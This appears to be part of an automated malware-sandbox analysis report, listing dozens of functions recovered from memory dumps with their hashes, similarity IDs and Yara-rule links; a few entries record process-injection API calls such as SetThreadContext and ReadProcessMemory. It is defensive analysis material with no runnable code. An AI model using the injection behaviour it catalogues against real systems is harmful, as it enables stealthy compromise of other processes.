Opcode Fuzzy Hash: 57f338e0064b7039686afc2d14fa5874aa36ba45e98204f14ec639872a60fde5
Instruction Fuzzy Hash: 0D016D755046009FDB20CF26D888B66FBE4EF44320F08C0AAEE568B752D675E458DB72

Uniqueness

Uniqueness Score: -1.00%

Function 057F044E, Relevance: 1.5, APIs: 1, Instructions: 44threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,?), ref: 057F048B

Memory Dump Source

Source File: 00000001.00000002.257194836.00000000057F0000.00000040.00000001.sdmp, Offset: 057F0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: b79cfbf990103d14a80aea9f9ac1d9177a043b5fe09d0be064831ded0eff454c
Instruction ID: 5960c313f4fe5d1f5b6c00c91b6f401b44f3bed9cb250754dfef0bb1ec1db336
Opcode Fuzzy Hash: b79cfbf990103d14a80aea9f9ac1d9177a043b5fe09d0be064831ded0eff454c
Instruction Fuzzy Hash: 3401D4755102408FDB20CF59D888B76FBE8EF45320F08C0AADE568B752D278E448DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 057F04FA, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 057F0538

Memory Dump Source

Source File: 00000001.00000002.257194836.00000000057F0000.00000040.00000001.sdmp, Offset: 057F0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 670ce406f4a67f09f14a8f50b754fe5a352a8cae34b7e1b431ed31bf3cbf9a03
Instruction ID: ebd97179ccd9e21ffbe72736773c4c41718dab1224f8e0a5348c4d17d01ccaef
Opcode Fuzzy Hash: 670ce406f4a67f09f14a8f50b754fe5a352a8cae34b7e1b431ed31bf3cbf9a03
Instruction Fuzzy Hash: 0701CC35500600CFDB20CF16D884B66FBA4EF04320F08C0AAEE4A4B752C271A418DB62

Uniqueness

Uniqueness Score: -1.00%

Function 057F09F2, Relevance: 1.5, APIs: 1, Instructions: 42windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 057F0A2D

Memory Dump Source

Source File: 00000001.00000002.257194836.00000000057F0000.00000040.00000001.sdmp, Offset: 057F0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 080c360089ca7d67266c222adabaec86f013f8510aabc90215fc31db6a9b359a
Instruction ID: c467f4284e67bd16ae6e370ea14bc14fff813e089d189c49f72d3ce1580a2e6f
Opcode Fuzzy Hash: 080c360089ca7d67266c222adabaec86f013f8510aabc90215fc31db6a9b359a
Instruction Fuzzy Hash: 2E01BC35901600CFDB20CF15D888B6AFFA4EF44320F08C0AAEE5A4B752D275A418DB72

Uniqueness

Uniqueness Score: -1.00%

Function 057F070E, Relevance: 1.5, APIs: 1, Instructions: 38windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 057F0749

Memory Dump Source

Source File: 00000001.00000002.257194836.00000000057F0000.00000040.00000001.sdmp, Offset: 057F0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ec7523946234350cabea723c357ba9383f795c857aa6a3ceb998b6bc9df1599e
Instruction ID: 718899d6d91aa8694551babf9287c8364d4725509ca90183c1b21f3e78bd2f8c
Opcode Fuzzy Hash: ec7523946234350cabea723c357ba9383f795c857aa6a3ceb998b6bc9df1599e
Instruction Fuzzy Hash: F6018B35804244DFEB21CF55D888B66FFA5EF48320F08C09ADE4A0B356D275A458DFB2

Uniqueness

Uniqueness Score: -1.00%

Function 016F4B30, Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

P2, xrefs: 016F4B6A

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID: P2
API String ID: 0-3491815975
Opcode ID: a57e0546e85bac133033875dd444423d94a1f88799a39c2140a679d6681b9cc4
Instruction ID: e9f1138142f6289a54908b68619cfcd775b20fb62148a294d8da29eabcca2a8d
Opcode Fuzzy Hash: a57e0546e85bac133033875dd444423d94a1f88799a39c2140a679d6681b9cc4
Instruction Fuzzy Hash: 37316BB4D00109DFCB44CF99C880AAEBBF1FF89300F1095AAD915A7714DB789A02CF50

Uniqueness

Uniqueness Score: -1.00%

Function 016F4B2A, Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

P2, xrefs: 016F4B6A

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID: P2
API String ID: 0-3491815975
Opcode ID: a9002ebceb3e290c3a91bd868ea43858cd2497192de0cc561cc470d35713307e
Instruction ID: c193aaf77b4293c0e12c0497faf53c119762d851d44e52a3aaeb5953e1774def
Opcode Fuzzy Hash: a9002ebceb3e290c3a91bd868ea43858cd2497192de0cc561cc470d35713307e
Instruction Fuzzy Hash: 9B316BB4E04109DFCB44CFA9C980AAEBBF1FF89300F5095AAD915A7755D7789A02CF50

Uniqueness

Uniqueness Score: -1.00%

Function 016FBB64, Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

X1(r, xrefs: 016FBBD4

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID: X1(r
API String ID: 0-3909273932
Opcode ID: c5541f72dae04c95af643557303e3a3791b2b4d913170301f69129e91070af1c
Instruction ID: 63dc270b56d06cc0a1044bea95bb37da51ce547cbdeded46412c7539d0673458
Opcode Fuzzy Hash: c5541f72dae04c95af643557303e3a3791b2b4d913170301f69129e91070af1c
Instruction Fuzzy Hash: 121195B4E093298FDF64DF68D848799BBB2AB88300F1082DA9549A7354DB319E80DF00

Uniqueness

Uniqueness Score: -1.00%

Function 016F3090, Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af932d42a9e5e234e10971985e8e1d3fc08c679f9e0d9541e6ac98d290c46c36
Instruction ID: f5c48269d666659f7b6dddb63252674319779767b2fcbe1e808a9aec5b3a378f
Opcode Fuzzy Hash: af932d42a9e5e234e10971985e8e1d3fc08c679f9e0d9541e6ac98d290c46c36
Instruction Fuzzy Hash: F081C031D00229DFDB29CFA5D840BDEBBB2BF86314F5080A9E509AB261DB755A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 016F34F8, Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1028f1e4ec27a87361bb259b93d412872d43b01e6f1d3f823993557b783018fb
Instruction ID: af9bedc166916aa64d5f75095c691361189a97211eb14036fc3b14ef8b4e4a46
Opcode Fuzzy Hash: 1028f1e4ec27a87361bb259b93d412872d43b01e6f1d3f823993557b783018fb
Instruction Fuzzy Hash: 47514B74E00219DFDB14DFA9D854AAEBBB2BFC9700F24802AE605BB394DB705D06CB55

Uniqueness

Uniqueness Score: -1.00%

Function 01690724, Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253910725.0000000001690000.00000040.00000040.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76e5151aef7639b451648b72bbf3bc0ee4201bc2c29a86686d75eab7a178ab16
Instruction ID: aeeefb859bd1c5029be6631eee407994d0cbba775c84a3b55ff879366c6a0b67
Opcode Fuzzy Hash: 76e5151aef7639b451648b72bbf3bc0ee4201bc2c29a86686d75eab7a178ab16
Instruction Fuzzy Hash: 6B318F355093C08FDB12CB24DD80B25BFB8EB86214F1885DEE9898F653C33A9806CB51

Uniqueness

Uniqueness Score: -1.00%

Function 016F3081, Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c8196a0ca837d56395530fece4f54820a3532f397328206a3d8a7184ab97d51
Instruction ID: 96405f2d39163609bc2e5a7ecfe33219a752e1b8f8d34bd2d10304df6aca574d
Opcode Fuzzy Hash: 2c8196a0ca837d56395530fece4f54820a3532f397328206a3d8a7184ab97d51
Instruction Fuzzy Hash: BB316B71E04218DFDB18CF6AD8407EEBBB2BF85314F1480AAD108AB391DB755A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 016F98E1, Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56a15bb8542e490fed2ca8d49efa4ba5062c75290ab3ec5b2b98e3f14df5ae34
Instruction ID: 98fb77a5cefdce5e35214a56f005aa30cce5ecb365c09e9c169049f40fefcbef
Opcode Fuzzy Hash: 56a15bb8542e490fed2ca8d49efa4ba5062c75290ab3ec5b2b98e3f14df5ae34
Instruction Fuzzy Hash: DD314670D0621ADFCB40CFA9DA9959EBBF1FB49304F2484AAE805AB354D3349A02CB51

Uniqueness

Uniqueness Score: -1.00%

Function 016FBA42, Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb093fe46c34cbf3f06311cbad4a7f1bdb542b24b04e5268e3cf033481b35e78
Instruction ID: 3cd92f982538a5e53b05aa7512fa3c426c8ae58f48837a496bee4988100d4f78
Opcode Fuzzy Hash: bb093fe46c34cbf3f06311cbad4a7f1bdb542b24b04e5268e3cf033481b35e78
Instruction Fuzzy Hash: FD31E2B4D5122ACFDB74CF24DD44BE9BBB1EB48300F0084EAC619A6650E7709E948F40

Uniqueness

Uniqueness Score: -1.00%

Function 016F6698, Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a1ac96d7190b4d886df6bdf5e3ad732eec8cb4d77bbdc736bbbfa213cb88651
Instruction ID: d6bb460084f5b884253980dfaf36b58ba299b09b9c759363051cf6d3e365650f
Opcode Fuzzy Hash: 6a1ac96d7190b4d886df6bdf5e3ad732eec8cb4d77bbdc736bbbfa213cb88651
Instruction Fuzzy Hash: B02159B0D0625ADFCB04CFA9CA849AEFBB2FF84300F1085AAD505AB260D7349A41DB15

Uniqueness

Uniqueness Score: -1.00%

Function 016F0018, Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bd3d0eabad98419df4c6bbe791eb2f322f67516e732e41d2a485d0620a6772b
Instruction ID: 04cbdd31d543b743749b786481d532ba685b4dd5b8dd516289ec7d51d6e466c9
Opcode Fuzzy Hash: 5bd3d0eabad98419df4c6bbe791eb2f322f67516e732e41d2a485d0620a6772b
Instruction Fuzzy Hash: D011A17044F7C29FC317DB709A26069BF71AF43210B0A59DFD0808B5A3C6286E15D762

Uniqueness

Uniqueness Score: -1.00%

Function 016FBAAF, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5b26376ea716140881d7ae4553136ca9d1a279b935d2776e86f68c58bd69645
Instruction ID: 94198e66377a9b3cabae64e02067ef10d97ef0e97da658a1212fb5b1d6372f4a
Opcode Fuzzy Hash: b5b26376ea716140881d7ae4553136ca9d1a279b935d2776e86f68c58bd69645
Instruction Fuzzy Hash: 8A31F5B4D5122ACFDBA4CF28D984BA9B7B1EB48304F0080EAD619A7614E7705E85DF00

Uniqueness

Uniqueness Score: -1.00%

Function 016F4C40, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63e0a30c0ede669fb3788a33a9cba5a18f5def6877fffd2fa285f42bb726da61
Instruction ID: 796117a8be3e9b76f12eccbbdef87fdb5f350498cef89d5537ff340642e8fba6
Opcode Fuzzy Hash: 63e0a30c0ede669fb3788a33a9cba5a18f5def6877fffd2fa285f42bb726da61
Instruction Fuzzy Hash: 462107B0D0420ADFCB44CFA9C9459AEFBF2FF89300F15859AD518AB365DB349A41DB50

Uniqueness

Uniqueness Score: -1.00%

Function 016F66A8, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1abcffa5a3c5c3ec710b9fb0ed9a8e0c352cbeb8579226ca900c5a892b5c4b42
Instruction ID: b567947da539104fdea2da6c5d4f6e9d155cd58d79632badc1a716b06d2c8856
Opcode Fuzzy Hash: 1abcffa5a3c5c3ec710b9fb0ed9a8e0c352cbeb8579226ca900c5a892b5c4b42
Instruction Fuzzy Hash: C22138B0D0522ADBCB04CFA9CA849AEFBF1FF88300F10D4AAD515AB254E7349A01CB15

Uniqueness

Uniqueness Score: -1.00%

Function 0169075C, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253910725.0000000001690000.00000040.00000040.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e61ed894a5c221230c7b8acc598d640a7c4595b661ef39e4e00a62bd480ffbf
Instruction ID: 4a07e2eb215b604959256aeca1dc3ed469a81b44304ccf6895b5a6d553269a82
Opcode Fuzzy Hash: 1e61ed894a5c221230c7b8acc598d640a7c4595b661ef39e4e00a62bd480ffbf
Instruction Fuzzy Hash: FE11AE35204244AFDB058B28CD80B3ABBADEB88718F24C59CF9491B752C77B9803CA51

Uniqueness

Uniqueness Score: -1.00%

Function 016F9908, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17acd359b11aef4c66ac8edb198db2b50714ae97d692a3e02020d5017532bad9
Instruction ID: 4ec56d8e7a53abbd329848e2750d66e992f0811c57b2e2f4c5d0afba79e34855
Opcode Fuzzy Hash: 17acd359b11aef4c66ac8edb198db2b50714ae97d692a3e02020d5017532bad9
Instruction Fuzzy Hash: 632113B0D0520ADFCF44CFA9D9856AEFBF1FB48305F20856AE916A7304D7349A41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 016F4C50, Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6871b418acfc5c3dd0f484904c2f8bcd8b4984fd52ac7fdafb710ffdadc9b549
Instruction ID: 3d11592714f68fa00a942fd3a9c448c6d68a375bd2dd43cd8387583f465b8b34
Opcode Fuzzy Hash: 6871b418acfc5c3dd0f484904c2f8bcd8b4984fd52ac7fdafb710ffdadc9b549
Instruction Fuzzy Hash: D921E7B0E0420ADFCB04CF99D984AAEFBF2FF89300F119599D518A7355DB30AA518B90

Uniqueness

Uniqueness Score: -1.00%

Function 016905D1, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253910725.0000000001690000.00000040.00000040.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 772d8a250560227cc5c63365f7938e8d7b89719950ce5525bc06e6abc92bc0cb
Instruction ID: c9422df361916f30ba235f15e92bc4978774a0174eaa0496030ed46b93cbed78
Opcode Fuzzy Hash: 772d8a250560227cc5c63365f7938e8d7b89719950ce5525bc06e6abc92bc0cb
Instruction Fuzzy Hash: 480186B55097806FD7128F16EC41863FFB8DF86660709C49FEC498B612D229A809CB72

Uniqueness

Uniqueness Score: -1.00%

Function 016FB2B0, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e454dde3832e693d93b8f6d16b3eab781cfaca8dfbce05d897e87beb9e591ca8
Instruction ID: daa83f592f319890c93e0d32b35699ba79d6b04c05ae3ecc098a1dcfa9fe86ed
Opcode Fuzzy Hash: e454dde3832e693d93b8f6d16b3eab781cfaca8dfbce05d897e87beb9e591ca8
Instruction Fuzzy Hash: A9019A74E15208DFEB14CFA4D8845ADBBB2EB89304F10C5AAC601A7294D7354A50CB40

Uniqueness

Uniqueness Score: -1.00%

Function 016F6790, Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f5c69e6af062cc2a665a840f6827872d9a0eb7fb1d99fb6e01ef0ac18713e4b
Instruction ID: 2ec11a95efa243d42608b5a7a5d22df766b4125aad31cdc06b093bb9a77aaf5f
Opcode Fuzzy Hash: 4f5c69e6af062cc2a665a840f6827872d9a0eb7fb1d99fb6e01ef0ac18713e4b
Instruction Fuzzy Hash: EA011A78A04208DFCB54DFA8D54999DBFF1EF89310F05C199E908AB361D7359941DB01

Uniqueness

Uniqueness Score: -1.00%

Function 016FB2C0, Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 140cb28be9b577226ce1347695c3a741c801e2921f521ddf32545ca2e153fdf8
Instruction ID: 73bb024147192d918fdebf1be76ac54bfa60d4acd402850aad54a3cd8f108467
Opcode Fuzzy Hash: 140cb28be9b577226ce1347695c3a741c801e2921f521ddf32545ca2e153fdf8
Instruction Fuzzy Hash: 3601D130E01208DFDB14CFA5D8846AEBBB2FF89304F10C4AACA1567344D7345A50CF40

Uniqueness

Uniqueness Score: -1.00%

Function 016F00B8, Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e72e8592a296dda6d8c942ae98469a9bd96cb6b8c26d9ebfad9b5284f6b78d2
Instruction ID: 389dfe93694a82e7a3f89871c4f9e960765fdf6dd2e0e4e95284a1ad8ea4344b
Opcode Fuzzy Hash: 9e72e8592a296dda6d8c942ae98469a9bd96cb6b8c26d9ebfad9b5284f6b78d2
Instruction Fuzzy Hash: A0014B30D01109DFCB08EFA4DA51AEDBBB2EF96300F1041A9C50477264DB306E54DB85

Uniqueness

Uniqueness Score: -1.00%

Function 016F00C8, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14a9e2f88b04d00f54a2cb64328887062b53bd19d17cb7a08e09bd4a1cd671ca
Instruction ID: a2b4f150364cb49c545172ae7f568368b0e70352f25dbdc3fdb917a776209a8a
Opcode Fuzzy Hash: 14a9e2f88b04d00f54a2cb64328887062b53bd19d17cb7a08e09bd4a1cd671ca
Instruction Fuzzy Hash: 9BF0F930E11109DBCB08EFA8DA51AADBBB2EF96300F2091A8D50477364DF306F50DB95

Uniqueness

Uniqueness Score: -1.00%

Function 016F5A74, Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95506e64544a727ab2689def4086166368b2b054ba8af2f09729ed40b39897ec
Instruction ID: a0c6ec04fa79b1d9201e7ab1fb64bde14cc2a2c35276d596daae40a38a676299
Opcode Fuzzy Hash: 95506e64544a727ab2689def4086166368b2b054ba8af2f09729ed40b39897ec
Instruction Fuzzy Hash: 9611C538901369CFDB60CFA8D884A99BBB1FF48310F1190D5E949AB355DA30AE84CF10

Uniqueness

Uniqueness Score: -1.00%

Function 016F67A0, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcae7f4584a961ef22fa237bc05617111f9a8024f10079c99915ef34a42366a8
Instruction ID: 7a2b5bf23f68edbbd52fdf930091b9435d605408454fd1870e6d030760154cf4
Opcode Fuzzy Hash: fcae7f4584a961ef22fa237bc05617111f9a8024f10079c99915ef34a42366a8
Instruction Fuzzy Hash: 79F07978A00208AFD744DFA9D549A5DBFF1EF88700F15C198E908AB365D735D940DB40

Uniqueness

Uniqueness Score: -1.00%

Function 016FC83F, Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 876105386b6dc172649c8f677a7f9a833304801ec8a3fde9ca41547cd27b932e
Instruction ID: 1f993efa97f0d4e6b07200a6a4b8a230dbf9d6f174b11949bf34a87ede51950f
Opcode Fuzzy Hash: 876105386b6dc172649c8f677a7f9a833304801ec8a3fde9ca41547cd27b932e
Instruction Fuzzy Hash: E101EEB1D022289FCB24DF68C980BDDBBB4EF69710F2085E99509AB241D7346B85CF10

Uniqueness

Uniqueness Score: -1.00%

Function 016FC765, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7446a2eaa541faca3559ddffc9a7c1a4e7401c7d081b47681f96a2b0309dac18
Instruction ID: 377714654138bc484a3e2e229beaf08f304954d499a5fb88fcec60f577f88776
Opcode Fuzzy Hash: 7446a2eaa541faca3559ddffc9a7c1a4e7401c7d081b47681f96a2b0309dac18
Instruction Fuzzy Hash: 9D01C4B081516D8FCB65CF64CE40BEDBAB4AB54341F4048DACA5AB7240D3745BD5CF10

Uniqueness

Uniqueness Score: -1.00%

Function 01690818, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253910725.0000000001690000.00000040.00000040.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693b7c54016a59cdbfed5bf97d611671327a7796b2b33607a59a4987e9e37b45
Instruction ID: 0858ed87c78b7a2185848ffcf7bcb6ccce7cab3784daaa8ebec6f18cd3e332e8
Opcode Fuzzy Hash: 693b7c54016a59cdbfed5bf97d611671327a7796b2b33607a59a4987e9e37b45
Instruction Fuzzy Hash: 4EF01D35208645DFC706CF44D940B25FBAAEB89718F24C6ADE9490B762C337D813DE81

Uniqueness

Uniqueness Score: -1.00%

Function 016F3F8A, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a29283033fda534f2af4ca359ed1ddbff1e58638747b3e44acddd86b27015971
Instruction ID: 108fd3bc1d60eebe73fec378ec0d308ff3df22d34da8457b5837d0ccb9a2f7b0
Opcode Fuzzy Hash: a29283033fda534f2af4ca359ed1ddbff1e58638747b3e44acddd86b27015971
Instruction Fuzzy Hash: E701D6B4A02229CFEB64DB68DC90F98BBB1BF48200F1082D9D00AA7254CB305E80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 016905F6, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253910725.0000000001690000.00000040.00000040.sdmp, Offset: 01690000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c31f5b02613779e86d8d3ca1676ebd4afda9aba3c50659fe3c794393597e8f9d
Instruction ID: 045d621d088e96a66539a1a55eee43f216ba59e6016addd4278667a5d5f0a6ac
Opcode Fuzzy Hash: c31f5b02613779e86d8d3ca1676ebd4afda9aba3c50659fe3c794393597e8f9d
Instruction Fuzzy Hash: 0AE092B6A046004BD650CF0BEC81456F7E8EB84630718C47FDC0D8B701D63AB508CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 016FBF40, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5db5733dbc70ed981347cf5d542b014690f5216eaba976328f7143d36340bbe
Instruction ID: 8e4088c977ec63dee024c50b6b2640d5e8d88f3896fe52a37cc4766696793a41
Opcode Fuzzy Hash: e5db5733dbc70ed981347cf5d542b014690f5216eaba976328f7143d36340bbe
Instruction Fuzzy Hash: 2F01ABB090622ADFEF24CF28CE84BEABBB4BB19340F4081D9D649A7251D3305B91DF51

Uniqueness

Uniqueness Score: -1.00%

Function 016F3C09, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 307ac02c6b98c79abec40ed41051cb6a101eeb97238d10c3a04715e4dbd73bf5
Instruction ID: 02646b63ad280fa90601e792b7425b61236b590369a7f2f015f08566865aec8b
Opcode Fuzzy Hash: 307ac02c6b98c79abec40ed41051cb6a101eeb97238d10c3a04715e4dbd73bf5
Instruction Fuzzy Hash: E9F0F470E05219CFDB60DF68C850B9EBBB2BB86710F5255A99548BB340D7B09E81CF22

Uniqueness

Uniqueness Score: -1.00%

Function 016FC398, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e921939bb3451295c163397117e8cdc7f8f1482d6892c56c351feb9c47630e14
Instruction ID: ad2fb4a1b1197cc728f6eabca1f8d9a4aba8023226f220a15932854f8386d8f0
Opcode Fuzzy Hash: e921939bb3451295c163397117e8cdc7f8f1482d6892c56c351feb9c47630e14
Instruction Fuzzy Hash: A5F0AF74E152199FDB64CFA4D880ADDFBB5FB49300F1091AAEA29AB254DB305A80DF40

Uniqueness

Uniqueness Score: -1.00%

Function 016F0070, Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9699bb2bbe9b09227807338e385f0842a8abdd05e462e20818c825f76af48c5
Instruction ID: 7eb41488280d95409d29f340fe29977236923df9e202a325f7244eedb52e285e
Opcode Fuzzy Hash: f9699bb2bbe9b09227807338e385f0842a8abdd05e462e20818c825f76af48c5
Instruction Fuzzy Hash: ECE0C2B0953108EBDB0CFBB8E91A53EB7B9DB43200F002C6CB10163281CE716E10C765

Uniqueness

Uniqueness Score: -1.00%

Function 016FC7BD, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 328f0f0cbbe4c0e085a1e61b62066916e662b3a8d3cd936efada32c26c7df5d8
Instruction ID: 3eb72c366eb856b060de1c37864867e7cd47c0d74d9eb5bf07b7f476647ea4e2
Opcode Fuzzy Hash: 328f0f0cbbe4c0e085a1e61b62066916e662b3a8d3cd936efada32c26c7df5d8
Instruction Fuzzy Hash: 8EF0AF708112388FDB25DF60CE84BECBAB8AB48341F4048DACA1AB7251C3745BC5CF10

Uniqueness

Uniqueness Score: -1.00%

Function 016FBAF2, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8aceacbea4bfb0d4e6b48738c7c13fc225e150ebbcbaabb2dccfb7b8313e2c86
Instruction ID: 5e71aaeb0d90369a4c936a3f551a2853e3d6693a798bd76808596cb828d25cc5
